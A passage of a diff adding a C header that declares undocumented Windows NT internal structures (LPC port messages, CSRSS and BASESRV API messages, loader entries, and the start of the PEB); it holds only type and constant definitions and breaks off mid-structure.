CSHORT DataLength; + CSHORT TotalLength; + } s1; + + ULONG Length; + + } u1; + + union + { + struct + { + CSHORT Type; + CSHORT DataInfoOffset; + } s2; + ULONG ZeroInit; + } u2; + + union + { + LPC_CLIENT_ID ClientId; + double DoNotUseThisField; // Force quadword alignment + }; + + ULONG MessageId; + union + { + LPC_SIZE_T ClientViewSize; // Only valid on LPC_CONNECTION_REQUEST message + ULONG CallbackId; // Only valid on LPC_REQUEST message + }; + // UCHAR Data[]; +} PORT_MESSAGE, *PPORT_MESSAGE; + +typedef struct _PORT_DATA_ENTRY { + LPC_PVOID Base; + ULONG Size; +} PORT_DATA_ENTRY, *PPORT_DATA_ENTRY; + +typedef struct _PORT_DATA_INFORMATION { + ULONG CountDataEntries; + PORT_DATA_ENTRY DataEntries[1]; +} PORT_DATA_INFORMATION, *PPORT_DATA_INFORMATION; + +#ifdef __cplusplus +extern "C" { +#endif + + // + // csrss & csrsrv related + // + + typedef ULONG CSR_API_NUMBER; + +#define CSR_API_PORT_NAME L"ApiPort" + + // + // This structure is filled in by the client prior to connecting to the CSR + // server. The CSR server will fill in the OUT fields if prior to accepting + // the connection. + // + + typedef struct _CSR_API_CONNECTINFO { + HANDLE ObjectDirectory; + PVOID SharedSectionBase; + PVOID SharedStaticServerData; + PVOID SharedSectionHeap; + ULONG DebugFlags; + ULONG SizeOfPebData; + ULONG SizeOfTebData; + ULONG NumberOfServerDllNames; + HANDLE ServerProcessId; + } CSR_API_CONNECTINFO, *PCSR_API_CONNECTINFO; + + // + // Message format for messages sent from the client to the server + // + + typedef struct _CSR_CLIENTCONNECT_MSG + { + ULONG ServerDllIndex; + PVOID ConnectionInformation; + ULONG ConnectionInformationLength; + } CSR_CLIENTCONNECT_MSG, *PCSR_CLIENTCONNECT_MSG; // + +#define CSR_NORMAL_PRIORITY_CLASS 0x00000010 +#define CSR_IDLE_PRIORITY_CLASS 0x00000020 +#define CSR_HIGH_PRIORITY_CLASS 0x00000040 +#define CSR_REALTIME_PRIORITY_CLASS 0x00000080 + + typedef struct _CSR_CAPTURE_HEADER { + ULONG Length; + PVOID RelatedCaptureBuffer; + ULONG CountMessagePointers; + PCHAR FreeSpace; + ULONG_PTR MessagePointerOffsets[1]; // Offsets within CSR_API_MSG of pointers + } CSR_CAPTURE_HEADER, *PCSR_CAPTURE_HEADER; + +#define WINSS_OBJECT_DIRECTORY_NAME L"\\Windows" + +#define CSRSRV_SERVERDLL_INDEX 0 +#define CSRSRV_FIRST_API_NUMBER 0 + +#define BASESRV_SERVERDLL_INDEX 1 +#define BASESRV_FIRST_API_NUMBER 0 + +#define CONSRV_SERVERDLL_INDEX 2 +#define CONSRV_FIRST_API_NUMBER 512 + +#define USERSRV_SERVERDLL_INDEX 3 +#define USERSRV_FIRST_API_NUMBER 1024 + +#define CSR_MAKE_API_NUMBER( DllIndex, ApiIndex ) \ + (CSR_API_NUMBER)(((DllIndex) << 16) | (ApiIndex)) + +#define CSR_APINUMBER_TO_SERVERDLLINDEX( ApiNumber ) \ + ((ULONG)((ULONG)(ApiNumber) >> 16)) + +#define CSR_APINUMBER_TO_APITABLEINDEX( ApiNumber ) \ + ((ULONG)((USHORT)(ApiNumber))) + +typedef struct _CSR_NT_SESSION +{ + struct _LIST_ENTRY SessionLink; + ULONG SessionId; + ULONG ReferenceCount; + STRING RootDirectory; +} CSR_NT_SESSION, *PCSR_NT_SESSION; + +typedef struct _CSR_API_MSG +{ + PORT_MESSAGE h; + union + { + CSR_API_CONNECTINFO ConnectionRequest; + struct + { + PCSR_CAPTURE_HEADER CaptureBuffer; + CSR_API_NUMBER ApiNumber; + ULONG ReturnValue; + ULONG Reserved; + union + { + CSR_CLIENTCONNECT_MSG ClientConnect; + ULONG_PTR ApiMessageData[ 46 ]; + } u; + }; + }; +} CSR_API_MSG, *PCSR_API_MSG; + +typedef +ULONG (*PCSR_CALLBACK_ROUTINE)( + IN OUT PCSR_API_MSG ReplyMsg + ); + +typedef struct _CSR_CALLBACK_INFO +{ + ULONG ApiNumberBase; + ULONG MaxApiNumber; + PCSR_CALLBACK_ROUTINE *CallbackDispatchTable; +} CSR_CALLBACK_INFO, *PCSR_CALLBACK_INFO; + +#ifdef __cplusplus +} +#endif + +// end csrss + + +// +// Time Zone +// + +typedef struct _RTL_DYNAMIC_TIME_ZONE_INFORMATION { + struct _RTL_TIME_ZONE_INFORMATION tzi; + WCHAR TimeZoneKeyName[ 128 ]; + UCHAR DynamicDaylightTimeDisabled; +} RTL_DYNAMIC_TIME_ZONE_INFORMATION, *PRTL_DYNAMIC_TIME_ZONE_INFORMATION; // + +// +// basesrv api +// + +typedef struct _BASESRV_API_CONNECTINFO +{ + ULONG ExpectedVersion; + HANDLE DefaultObjectDirectory; + ULONG WindowsVersion; + ULONG CurrentVersion; + ULONG DebugFlags; + WCHAR WindowsDirectory[ MAX_PATH ]; + WCHAR WindowsSystemDirectory[ MAX_PATH ]; +} BASESRV_API_CONNECTINFO, *PBASESRV_API_CONNECTINFO; + +typedef enum _BASESRV_API_NUMBER { + BasepCreateProcess = BASESRV_FIRST_API_NUMBER, + BasepCreateThread, + BasepGetTempFile, + BasepExitProcess, + BasepDebugProcess, + BasepCheckVDM, + BasepUpdateVDMEntry, + BasepGetNextVDMCommand, + BasepExitVDM, + BasepIsFirstVDM, + BasepGetVDMExitCode, + BasepSetReenterCount, + BasepSetProcessShutdownParam, + BasepGetProcessShutdownParam, + BasepSetVDMCurDirs, + BasepGetVDMCurDirs, + BasepBatNotification, + BasepRegisterWowExec, + BasepSoundSentryNotification, + BasepRefreshIniFileMapping, + BasepDefineDosDevice, + BasepSetTermsrvAppInstallMode, + BasepSetTermsrvClientTimeZone, + BasepSxsCreateActivationContext, + BasepDebugProcessStop, + BasepRegisterThread, + BasepDeferredCreateProcess, + BasepNlsGetUserInfo, + BasepNlsSetUserInfo, + BasepNlsUpdateCacheCount, + BasepMaxApiNumber +} BASESRV_API_NUMBER, *PBASESRV_API_NUMBER; + +typedef struct _BASE_NLS_SET_USER_INFO_MSG +{ + ULONG LCType; + USHORT* pData; + ULONG DataLength; +} BASE_NLS_SET_USER_INFO_MSG, *PBASE_NLS_SET_USER_INFO_MSG; + +typedef struct _BASE_NLS_GET_USER_INFO_MSG +{ + struct _NLS_USER_INFO* pData; + ULONG DataLength; +} BASE_NLS_GET_USER_INFO_MSG, *PBASE_NLS_GET_USER_INFO_MSG; + +typedef struct _BASE_NLS_UPDATE_CACHE_COUNT_MSG +{ + ULONG Reserved; +} BASE_NLS_UPDATE_CACHE_COUNT_MSG, *PBASE_NLS_UPDATE_CACHE_COUNT_MSG; + +typedef struct _BASE_UPDATE_VDM_ENTRY_MSG +{ + ULONG iTask; + ULONG BinaryType; + PVOID ConsoleHandle; + PVOID VDMProcessHandle; + PVOID WaitObjectForParent; + USHORT EntryIndex; + USHORT VDMCreationState; +} BASE_UPDATE_VDM_ENTRY_MSG, *PBASE_UPDATE_VDM_ENTRY_MSG; + +typedef struct _BASE_GET_NEXT_VDM_COMMAND_MSG +{ + ULONG iTask; + PVOID ConsoleHandle; + PVOID WaitObjectForVDM; + PVOID StdIn; + PVOID StdOut; + PVOID StdErr; + ULONG CodePage; + ULONG dwCreationFlags; + ULONG ExitCode; + PCHAR CmdLine; + PCHAR AppName; + PCHAR PifFile; + PCHAR CurDirectory; + PCHAR Env; + ULONG EnvLen; + struct _STARTUPINFOA* StartupInfo; + PCHAR Desktop; + ULONG DesktopLen; + PCHAR Title; + ULONG TitleLen; + PCHAR Reserved; + ULONG ReservedLen; + USHORT CurrentDrive; + USHORT CmdLen; + USHORT AppLen; + USHORT PifLen; + USHORT CurDirectoryLen; + USHORT VDMState; + UCHAR fComingFromBat; +} BASE_GET_NEXT_VDM_COMMAND_MSG, *PBASE_GET_NEXT_VDM_COMMAND_MSG; + +typedef struct _BASE_SHUTDOWNPARAM_MSG +{ + ULONG ShutdownLevel; + ULONG ShutdownFlags; +} BASE_SHUTDOWNPARAM_MSG, *PBASE_SHUTDOWNPARAM_MSG; + +typedef struct _BASE_GETTEMPFILE_MSG +{ + ULONG uUnique; +} BASE_GETTEMPFILE_MSG, *PBASE_GETTEMPFILE_MSG; + +typedef struct _BASE_DEBUGPROCESS_MSG +{ + ULONG dwProcessId; + CLIENT_ID DebuggerClientId; + PVOID AttachCompleteRoutine; +} BASE_DEBUGPROCESS_MSG, *PBASE_DEBUGPROCESS_MSG; // + +typedef struct _BASE_CHECKVDM_MSG +{ + ULONG iTask; + HANDLE ConsoleHandle; + ULONG BinaryType; + HANDLE WaitObjectForParent; + HANDLE StdIn; + HANDLE StdOut; + HANDLE StdErr; + ULONG CodePage; + ULONG dwCreationFlags; + PCHAR CmdLine; + PCHAR AppName; + PCHAR PifFile; + PCHAR CurDirectory; + PCHAR Env; + ULONG EnvLen; + LPSTARTUPINFOA StartupInfo; + PCHAR Desktop; + ULONG DesktopLen; + PCHAR Title; + ULONG TitleLen; + PCHAR Reserved; + ULONG ReservedLen; + USHORT CmdLen; + USHORT AppLen; + USHORT PifLen; + USHORT CurDirectoryLen; + USHORT CurDrive; + USHORT VDMState; + struct _LUID* UserLuid; +} BASE_CHECKVDM_MSG, *PBASE_CHECKVDM_MSG; + +typedef struct _BASE_GET_VDM_EXIT_CODE_MSG +{ + PVOID ConsoleHandle; + PVOID hParent; + ULONG ExitCode; +} BASE_GET_VDM_EXIT_CODE_MSG, *PBASE_GET_VDM_EXIT_CODE_MSG; // + +typedef struct _BASE_DEFERREDCREATEPROCESS_MSG +{ + struct _CLIENT_ID* ClientId; + ULONG NtUserFlags; +} BASE_DEFERREDCREATEPROCESS_MSG, *PBASE_DEFERREDCREATEPROCESS_MSG; // + +typedef struct _BASE_EXITPROCESS_MSG { + NTSTATUS uExitCode; +} BASE_EXITPROCESS_MSG, *PBASE_EXITPROCESS_MSG; // + +typedef struct _BASE_GET_SET_VDM_CUR_DIRS_MSG +{ + PVOID ConsoleHandle; + PCHAR lpszzCurDirs; + ULONG cchCurDirs; +} BASE_GET_SET_VDM_CUR_DIRS_MSG, *PBASE_GET_SET_VDM_CUR_DIRS_MSG; // + +typedef struct _BASE_SET_REENTER_COUNT +{ + PVOID ConsoleHandle; + ULONG fIncDec; +} BASE_SET_REENTER_COUNT, *PBASE_SET_REENTER_COUNT; // + +#if !defined(_WINNT_) || (defined(_MSC_VER) && (_MSC_VER >= 1300)) +typedef enum +{ + ACTCTX_RUN_LEVEL_UNSPECIFIED = 0, + ACTCTX_RUN_LEVEL_AS_INVOKER, + ACTCTX_RUN_LEVEL_HIGHEST_AVAILABLE, + ACTCTX_RUN_LEVEL_REQUIRE_ADMIN, + ACTCTX_RUN_LEVEL_NUMBERS +} ACTCTX_REQUESTED_RUN_LEVEL; + +typedef struct _ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION { + DWORD ulFlags; + ACTCTX_REQUESTED_RUN_LEVEL RunLevel; + DWORD UiAccess; +} ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION, * PACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION; + +typedef const struct _ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION * PCACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION; + + +#endif + +typedef struct _BASE_SXS_CREATEPROCESS_MSG +{ + ULONG Flags; + ULONG ProcessParameterFlags; + union + { + UNICODE_STRING CultureFallbacks; + ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION RunLevel; + UNICODE_STRING AssemblyName; + } u; +} BASE_SXS_CREATEPROCESS_MSG, *PBASE_SXS_CREATEPROCESS_MSG; // + + +typedef struct _BASE_CREATEPROCESS_MSG +{ + PVOID ProcessHandle; + PVOID ThreadHandle; + CLIENT_ID ClientId; + ULONG CreationFlags; + ULONG VdmBinaryType; + ULONG VdmTask; + PVOID hVDM; + struct _BASE_SXS_CREATEPROCESS_MSG Sxs; + ULONGLONG PebAddressNative; + ULONG PebAddressWow64; + USHORT ProcessorArchitecture; +} BASE_CREATEPROCESS_MSG, *PBASE_CREATEPROCESS_MSG; // + + +typedef struct _BASE_CREATETHREAD_MSG +{ + PVOID ThreadHandle; + CLIENT_ID ClientId; +} BASE_CREATETHREAD_MSG, *PBASE_CREATETHREAD_MSG; // + + +typedef struct _BASE_MSG_SXS_HANDLES +{ + PVOID File; + PVOID Process; + PVOID Section; + ULONGLONG ViewBase; +} BASE_MSG_SXS_HANDLES, *PBASE_MSG_SXS_HANDLES; // + + +typedef struct _BASE_EXIT_VDM_MSG +{ + PVOID ConsoleHandle; + ULONG iWowTask; + PVOID WaitObjectForVDM; +} BASE_EXIT_VDM_MSG, *PBASE_EXIT_VDM_MSG; // + + +typedef struct _BASE_IS_FIRST_VDM_MSG +{ + __int32 FirstVDM; +} BASE_IS_FIRST_VDM_MSG, *PBASE_IS_FIRST_VDM_MSG; // + + +typedef struct _BASE_SET_REENTER_COUNT_MSG +{ + PVOID ConsoleHandle; + ULONG fIncDec; +} BASE_SET_REENTER_COUNT_MSG, *PBASE_SET_REENTER_COUNT_MSG; // + + +typedef struct _BASE_BAT_NOTIFICATION_MSG +{ + PVOID ConsoleHandle; + ULONG fBeginEnd; +} BASE_BAT_NOTIFICATION_MSG, *PBASE_BAT_NOTIFICATION_MSG; // + + +typedef struct _BASE_REGISTER_WOWEXEC_MSG +{ + PVOID hEventWowExec; + PVOID ConsoleHandle; +} BASE_REGISTER_WOWEXEC_MSG, *PBASE_REGISTER_WOWEXEC_MSG; // + + +typedef struct _BASE_REFRESHINIFILEMAPPING_MSG +{ + UNICODE_STRING IniFileName; +} BASE_REFRESHINIFILEMAPPING_MSG, *PBASE_REFRESHINIFILEMAPPING_MSG; // + + +typedef struct _BASE_SET_TERMSRVCLIENTTIMEZONE +{ + struct _RTL_DYNAMIC_TIME_ZONE_INFORMATION* pDTZInfo; + ULONG ulDTZInfoSize; + KSYSTEM_TIME RealBias; + ULONG TimeZoneId; +} BASE_SET_TERMSRVCLIENTTIMEZONE, *PBASE_SET_TERMSRVCLIENTTIMEZONE; // + +typedef struct _BASE_SET_TERMSRVAPPINSTALLMODE +{ + __int32 bState; +} BASE_SET_TERMSRVAPPINSTALLMODE, *PBASE_SET_TERMSRVAPPINSTALLMODE; + + +typedef struct _BASE_SOUNDSENTRY_NOTIFICATION_MSG +{ + ULONG VideoMode; +} BASE_SOUNDSENTRY_NOTIFICATION_MSG, *PBASE_SOUNDSENTRY_NOTIFICATION_MSG; // + + +typedef struct _BASE_DEFINEDOSDEVICE_MSG +{ + ULONG Flags; + UNICODE_STRING DeviceName; + UNICODE_STRING TargetPath; +} BASE_DEFINEDOSDEVICE_MSG, *PBASE_DEFINEDOSDEVICE_MSG; // + +typedef struct _BASE_MSG_SXS_STREAM +{ + UCHAR FileType; + UCHAR PathType; + UCHAR HandleType; + UNICODE_STRING Path; + PVOID FileHandle; + HANDLE Handle; + unsigned __int64 Offset; + ULONG Size; +} BASE_MSG_SXS_STREAM, *PBASE_MSG_SXS_STREAM; // + + +typedef struct _BASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG +{ + ULONG Flags; + USHORT ProcessorArchitecture; + UNICODE_STRING CultureFallbacks; + struct _BASE_MSG_SXS_STREAM Manifest; + struct _BASE_MSG_SXS_STREAM Policy; + UNICODE_STRING AssemblyDirectory; + UNICODE_STRING TextualAssemblyIdentity; + unsigned __int64 FileTime; + ULONG ResourceName; + PVOID ActivationContextData; + struct _ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION RunLevel; + UNICODE_STRING AssemblyName; +} BASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG, *PBASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG; // + + + +typedef struct _BASE_API_MSG +{ + PORT_MESSAGE h; + struct _CSR_CAPTURE_HEADER* CaptureBuffer; + CSR_API_NUMBER ApiNumber; + ULONG ReturnValue; + ULONG Reserved; + union + { /* size 0xb0*/ + BASE_NLS_SET_USER_INFO_MSG NlsSetUserInfo; + BASE_NLS_GET_USER_INFO_MSG NlsGetUserInfo; + BASE_NLS_UPDATE_CACHE_COUNT_MSG NlsCacheUpdateCount; + BASE_SHUTDOWNPARAM_MSG ShutdownParam; + BASE_CREATEPROCESS_MSG CreateProcess; + BASE_DEFERREDCREATEPROCESS_MSG DeferredCreateProcess; + BASE_CREATETHREAD_MSG CreateThread; + BASE_GETTEMPFILE_MSG GetTempFile; + BASE_EXITPROCESS_MSG ExitProcess; + BASE_DEBUGPROCESS_MSG DebugProcess; + BASE_CHECKVDM_MSG CheckVDM; + BASE_UPDATE_VDM_ENTRY_MSG UpdateVDMEntry; + BASE_GET_NEXT_VDM_COMMAND_MSG GetNextVDMCommand; + BASE_EXIT_VDM_MSG ExitVDM; + BASE_IS_FIRST_VDM_MSG IsFirstVDM; + BASE_GET_VDM_EXIT_CODE_MSG GetVDMExitCode; + BASE_SET_REENTER_COUNT SetReenterCount; + BASE_GET_SET_VDM_CUR_DIRS_MSG GetSetVDMCurDirs; + BASE_BAT_NOTIFICATION_MSG BatNotification; + BASE_REGISTER_WOWEXEC_MSG RegisterWowExec; + BASE_SOUNDSENTRY_NOTIFICATION_MSG SoundSentryNotification; + BASE_REFRESHINIFILEMAPPING_MSG RefreshIniFileMapping; + BASE_DEFINEDOSDEVICE_MSG DefineDosDeviceApi; + BASE_SET_TERMSRVAPPINSTALLMODE SetTermsrvAppInstallMode; + BASE_SET_TERMSRVCLIENTTIMEZONE SetTermsrvClientTimeZone; + BASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG SxsCreateActivationContext; + } u; +} BASE_API_MSG, *PBASE_API_MSG; // + +typedef struct _BASE_STATIC_SERVER_DATA +{ + UNICODE_STRING WindowsDirectory; + UNICODE_STRING WindowsSystemDirectory; + UNICODE_STRING NamedObjectDirectory; + USHORT WindowsMajorVersion; + USHORT WindowsMinorVersion; + USHORT BuildNumber; + USHORT CSDNumber; + USHORT RCNumber; + WCHAR CSDVersion[128]; + SYSTEM_BASIC_INFORMATION SysInfo; + SYSTEM_TIMEOFDAY_INFORMATION TimeOfDay; + struct _INIFILE_MAPPING* IniFileMapping; + NLS_USER_INFO NlsUserInfo; + UCHAR DefaultSeparateVDM; + UCHAR IsWowTaskReady; + UNICODE_STRING WindowsSys32x86Directory; + UCHAR fTermsrvAppInstallMode; + RTL_DYNAMIC_TIME_ZONE_INFORMATION tziTermsrvClientTimeZone; + KSYSTEM_TIME ktTermsrvClientBias; + ULONG TermsrvClientTimeZoneId; + UCHAR LUIDDeviceMapsEnabled; + ULONG TermsrvClientTimeZoneChangeNum; +} BASE_STATIC_SERVER_DATA, *PBASE_STATIC_SERVER_DATA; // + +#define GDI_BATCH_BUFFER_SIZE 310 + +typedef struct _GDI_TEB_BATCH { + ULONG Offset; + UCHAR Alignment[4]; + ULONG_PTR HDC; + ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; +} GDI_TEB_BATCH,*PGDI_TEB_BATCH; + +typedef enum _EVENT_TYPE { + NotificationEvent, + SynchronizationEvent +} EVENT_TYPE; + +typedef enum _TIMER_TYPE { + NotificationTimer, + SynchronizationTimer +} TIMER_TYPE; + +typedef enum _WAIT_TYPE { + WaitAll, + WaitAny +} WAIT_TYPE; + +#define STATIC_UNICODE_BUFFER_LENGTH 261 +#define WIN32_CLIENT_INFO_LENGTH 62 + +#define WIN32_CLIENT_INFO_SPIN_COUNT 1 + +typedef PVOID* PPVOID; + +#define TLS_MINIMUM_AVAILABLE 64 + +typedef struct _ASSEMBLY_STORAGE_MAP_ENTRY { + + ULONG Flags; + UNICODE_STRING DosPath; + PVOID Handle; +} ASSEMBLY_STORAGE_MAP_ENTRY, *PASSEMBLY_STORAGE_MAP_ENTRY; + +typedef struct _ASSEMBLY_STORAGE_MAP { + + ULONG Flags; + ULONG AssemblyCount; + struct _ASSEMBLY_STORAGE_MAP_ENTRY** AssemblyArray; +} ASSEMBLY_STORAGE_MAP, *PASSEMBLY_STORAGE_MAP; + +typedef struct _ACTIVATION_CONTEXT_DATA { + ULONG Magic; + ULONG HeaderSize; + ULONG FormatVersion; + ULONG TotalSize; + ULONG DefaultTocOffset; + ULONG ExtendedTocOffset; + ULONG AssemblyRosterOffset; + ULONG Flags; +} ACTIVATION_CONTEXT_DATA, *PACTIVATION_CONTEXT_DATA; + +typedef struct _ACTIVATION_CONTEXT { + + LONG RefCount; + ULONG Flags; + LIST_ENTRY Links; + struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; + //void (NotificationRoutine)(unsigned long, struct _ACTIVATION_CONTEXT*, void*, void*, void*, unsigned char*); + struct _ACTIVATION_CONTEXT* NotificationRoutine; + PVOID NotificationContext; + ULONG SentNotifications[8]; + ULONG DisabledNotifications[8]; + struct _ASSEMBLY_STORAGE_MAP StorageMap; + struct _ASSEMBLY_STORAGE_MAP_ENTRY* InlineStorageMapEntries[32]; + ULONG StackTraceIndex; + PVOID StackTraces[4][4]; +} ACTIVATION_CONTEXT, *PACTIVATION_CONTEXT; // + +typedef struct _PEB_FREE_BLOCK { + struct _PEB_FREE_BLOCK *Next; + ULONG Size; +} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK; + +typedef struct _PEB_LDR_DATA +{ + ULONG Length; + BOOLEAN Initialized; + HANDLE SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID EntryInProgress; + BOOLEAN ShutdownInProgress; + HANDLE ShutdownThreadId; +} PEB_LDR_DATA, *PPEB_LDR_DATA; + +typedef struct _INITIAL_TEB +{ + struct + { + PVOID OldStackBase; + PVOID OldStackLimit; + } OldInitialTeb; + + PVOID StackBase; + PVOID StackLimit; + PVOID StackAllocationBase; + +} INITIAL_TEB, *PINITIAL_TEB; + +typedef struct _WOW64_PROCESS +{ + PVOID Wow64; +} WOW64_PROCESS, *PWOW64_PROCESS; + +// +// Private flags for loader data table entries +// + +#define LDRP_STATIC_LINK 0x00000002 +#define LDRP_IMAGE_DLL 0x00000004 +#define LDRP_LOAD_IN_PROGRESS 0x00001000 +#define LDRP_UNLOAD_IN_PROGRESS 0x00002000 +#define LDRP_ENTRY_PROCESSED 0x00004000 +#define LDRP_ENTRY_INSERTED 0x00008000 +#define LDRP_CURRENT_LOAD 0x00010000 +#define LDRP_FAILED_BUILTIN_LOAD 0x00020000 +#define LDRP_DONT_CALL_FOR_THREADS 0x00040000 +#define LDRP_PROCESS_ATTACH_CALLED 0x00080000 +#define LDRP_DEBUG_SYMBOLS_LOADED 0x00100000 +#define LDRP_IMAGE_NOT_AT_BASE 0x00200000 +#define LDRP_COR_IMAGE 0x00400000 +#define LDRP_COR_OWNS_UNMAP 0x00800000 +#define LDRP_SYSTEM_MAPPED 0x01000000 +#define LDRP_IMAGE_VERIFYING 0x02000000 +#define LDRP_DRIVER_DEPENDENT_DLL 0x04000000 +#define LDRP_ENTRY_NATIVE 0x08000000 +#define LDRP_REDIRECTED 0x10000000 +#define LDRP_NON_PAGED_DEBUG_INFO 0x20000000 +#define LDRP_MM_LOADED 0x40000000 +#define LDRP_COMPAT_DATABASE_PROCESSED 0x80000000 + +#define LDR_GET_DLL_HANDLE_EX_UNCHANGED_REFCOUNT 0x00000001 +#define LDR_GET_DLL_HANDLE_EX_PIN 0x00000002 + +#define LDR_ADDREF_DLL_PIN 0x00000001 + +#define LDR_GET_PROCEDURE_ADDRESS_DONT_RECORD_FORWARDER 0x00000001 + +#define LDR_LOCK_LOADER_LOCK_FLAG_RAISE_ON_ERRORS 0x00000001 +#define LDR_LOCK_LOADER_LOCK_FLAG_TRY_ONLY 0x00000002 + +#define LDR_LOCK_LOADER_LOCK_DISPOSITION_INVALID 0 +#define LDR_LOCK_LOADER_LOCK_DISPOSITION_LOCK_ACQUIRED 1 +#define LDR_LOCK_LOADER_LOCK_DISPOSITION_LOCK_NOT_ACQUIRED 2 + +#define LDR_UNLOCK_LOADER_LOCK_FLAG_RAISE_ON_ERRORS 0x00000001 + +#define LDR_DLL_NOTIFICATION_REASON_LOADED 1 +#define LDR_DLL_NOTIFICATION_REASON_UNLOADED 2 + +typedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA +{ + ULONG Flags; + PUNICODE_STRING FullDllName; + PUNICODE_STRING BaseDllName; + PVOID DllBase; + ULONG SizeOfImage; +} LDR_DLL_LOADED_NOTIFICATION_DATA, *PLDR_DLL_LOADED_NOTIFICATION_DATA; + +typedef struct _LDR_DLL_UNLOADED_NOTIFICATION_DATA +{ + ULONG Flags; + PCUNICODE_STRING FullDllName; + PCUNICODE_STRING BaseDllName; + PVOID DllBase; + ULONG SizeOfImage; +} LDR_DLL_UNLOADED_NOTIFICATION_DATA, *PLDR_DLL_UNLOADED_NOTIFICATION_DATA; + +typedef union _LDR_DLL_NOTIFICATION_DATA +{ + LDR_DLL_LOADED_NOTIFICATION_DATA Loaded; + LDR_DLL_UNLOADED_NOTIFICATION_DATA Unloaded; +} LDR_DLL_NOTIFICATION_DATA, *PLDR_DLL_NOTIFICATION_DATA; + +typedef VOID (NTAPI *PLDR_DLL_NOTIFICATION_FUNCTION)( + IN ULONG NotificationReason, + IN PLDR_DLL_NOTIFICATION_DATA NotificationData, + IN OPTIONAL PVOID Context + ); + +typedef struct _RTL_PROCESS_MODULE_INFORMATION +{ + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULES +{ + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; + +typedef struct _RTL_PROCESS_MODULE_INFORMATION_EX +{ + USHORT NextOffset; + RTL_PROCESS_MODULE_INFORMATION BaseInfo; + ULONG ImageChecksum; + ULONG TimeDateStamp; + PVOID DefaultBase; +} RTL_PROCESS_MODULE_INFORMATION_EX, *PRTL_PROCESS_MODULE_INFORMATION_EX; + +// +// Loader Data Table. Used to track DLLs loaded into an +// image. +// +#ifdef __cplusplus +struct LIST_ENTRY_EX : public LIST_ENTRY +{ + BYTE unk1[8]; + HANDLE base; + BYTE unk2[20]; + WCHAR* name; +}; +#endif + +typedef struct _LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT TlsIndex; + union + { + LIST_ENTRY HashLinks; + struct + { + PVOID SectionPointer; + ULONG CheckSum; + }; + }; + union + { + ULONG TimeDateStamp; + PVOID LoadedImports; + }; + PVOID EntryPointActivationContext; + PVOID PatchInformation; + LIST_ENTRY ForwarderLinks; + LIST_ENTRY ServiceTagLinks; + LIST_ENTRY StaticLinks; + PVOID ContextInformation; + ULONG_PTR OriginalBase; + LARGE_INTEGER LoadTime; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + +typedef const struct _LDR_DATA_TABLE_ENTRY *PCLDR_DATA_TABLE_ENTRY; + +typedef NTSTATUS LDR_RELOCATE_IMAGE_RETURN_TYPE; + +struct _FLS_CALLBACK_INFO; + +typedef BOOLEAN (NTAPI *PDLL_INIT_ROUTINE)( + IN PVOID DllHandle, + IN ULONG Reason, + IN OPTIONAL PCONTEXT Context + ); + +#define DOS_MAX_COMPONENT_LENGTH 255 +#define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5) + +#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 +#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 + +typedef struct _RTL_RELATIVE_NAME +{ + STRING RelativeName; + HANDLE ContainingDirectory; +} RTL_RELATIVE_NAME, *PRTL_RELATIVE_NAME; + +typedef struct _RTLP_CURDIR_REF *PRTLP_CURDIR_REF; + +typedef struct _RTL_RELATIVE_NAME_U +{ + UNICODE_STRING RelativeName; + HANDLE ContainingDirectory; + PRTLP_CURDIR_REF CurDirRef; +} RTL_RELATIVE_NAME_U, *PRTL_RELATIVE_NAME_U; + +typedef enum _RTL_PATH_TYPE +{ + RtlPathTypeUnknown, + RtlPathTypeUncAbsolute, + RtlPathTypeDriveAbsolute, + RtlPathTypeDriveRelative, + RtlPathTypeRooted, + RtlPathTypeRelative, + RtlPathTypeLocalDevice, + RtlPathTypeRootLocalDevice +} RTL_PATH_TYPE, *PRTL_PATH_TYPE; + +#define RTL_MAX_DRIVE_LETTERS 32 +#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001 + +// 18/04/2011 updated +typedef struct _PEB +{ + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + union + { + BOOLEAN BitField; + struct + { + BOOLEAN ImageUsesLargePages : 1; + BOOLEAN IsProtectedProcess : 1; + BOOLEAN IsLegacyProcess : 1; + BOOLEAN IsImageDynamicallyRelocated : 1; + BOOLEAN SkipPatchingUser32Forwarders : 1; + BOOLEAN SpareBits : 3; + }; + }; + HANDLE Mutant; + + PVOID ImageBaseAddress; + PPEB_LDR_DATA Ldr; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PRTL_CRITICAL_SECTION FastPebLock; + PVOID AtlThunkSListPtr; + PVOID 